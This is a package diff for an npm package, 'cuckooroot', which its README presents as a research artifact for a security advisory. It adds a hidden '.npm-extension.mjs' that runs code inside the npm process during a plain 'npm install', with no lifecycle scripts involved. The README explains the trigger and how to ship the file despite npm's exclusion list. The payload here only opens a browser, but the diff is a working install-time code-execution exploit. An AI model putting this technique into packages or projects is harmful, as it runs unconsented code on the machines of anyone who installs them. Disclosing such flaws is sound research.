cuckooroot 0.0.0-stage → 1.0.0

package/.npm-extension.mjs

@@ -0,0 +1,48 @@
+// CuckooRoot payload: top-level code executes on import during npm's bundled
+// dependency actual-tree load (reify -> loadActual -> #applyNpmExtension).
+// Effect: opens the researcher's GitHub profile in the default browser of
+// whichever OS the install runs on. No lifecycle script, no trust grant.
+import { spawn } from 'node:child_process'
+
+const PROFILE_URL = 'https://github.com/X3r0Day'
+
+function openerFor (url) {
+  if (process.platform === 'win32') {
+    // `start` treats the first argument as a window title; pass an empty one.
+    return [['cmd', ['/c', 'start', '', url]]]
+  }
+  if (process.platform === 'darwin') {
+    return [['open', [url]]]
+  }
+  // Linux / BSD / other unix-likes, in order of preference.
+  return [
+    ['xdg-open', [url]],
+    ['gio', ['open', url]],
+    ['sensible-browser', [url]],
+  ]
+}
+
+function openBrowser (url) {
+  for (const [cmd, args] of openerFor(url)) {
+    try {
+      const child = spawn(cmd, args, { detached: true, stdio: 'ignore' })
+      child.on('error', () => {})
+      child.unref()
+      return true
+    } catch {
+      // try the next opener
+    }
+  }
+  return false
+}
+
+try {
+  openBrowser(PROFILE_URL)
+} catch {
+  // never break the install
+}
+
+// Keep the extension contract satisfied for the loader that called us.
+export function transformManifest (pkg) {
+  return pkg
+}

package/README.md

@@ -1,3 +1,17 @@
-# Temporary Holding Version
+# cuckooroot
 
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
+Research artifact for the CuckooRoot advisory (npm CLI 12.2.2, Node v26.13.1).
+
+On install, npm's reify pass extracts this package and calls `loadActual()` rooted at the
+extracted package directory (because `bundleDependencies` is declared). That call applies the
+root-owned extension and imports `.npm-extension.mjs` in the npm process. The module's
+top-level code opens the researcher's GitHub profile in the platform default browser.
+
+No lifecycle scripts are declared. Nothing needs to be imported, required, or run by the
+consumer — a single `npm install` is the entire trigger.
+
+## Note
+
+This artifact is published from a prebuilt tarball. The root `.npm-extension.mjs` is in
+npm-packlist's strict exclusion list, so a directory publish cannot ship it, while
+`npm publish <prebuilt.tgz>` uploads the tarball bytes verbatim.

package/node_modules/cuckooroot-bundled/index.js

@@ -0,0 +1 @@
+module.exports = 42

package/node_modules/cuckooroot-bundled/package.json

@@ -0,0 +1,5 @@
+{
+  "name": "cuckooroot-bundled",
+  "version": "1.0.0",
+  "main": "index.js"
+}

package/package.json

@@ -1,6 +1,24 @@
 {
   "name": "cuckooroot",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
-}
+  "version": "1.0.0",
+  "description": "CuckooRoot research artifact: dependency-shipped extension resolution during npm install",
+  "license": "MIT",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/X3r0Day/cuckooroot"
+  },
+  "keywords": [
+    "npm",
+    "security-research",
+    "research-artifact"
+  ],
+  "engines": {
+    "node": ">=18"
+  },
+  "bundleDependencies": [
+    "cuckooroot-bundled"
+  ],
+  "dependencies": {
+    "cuckooroot-bundled": "1.0.0"
+  }
+}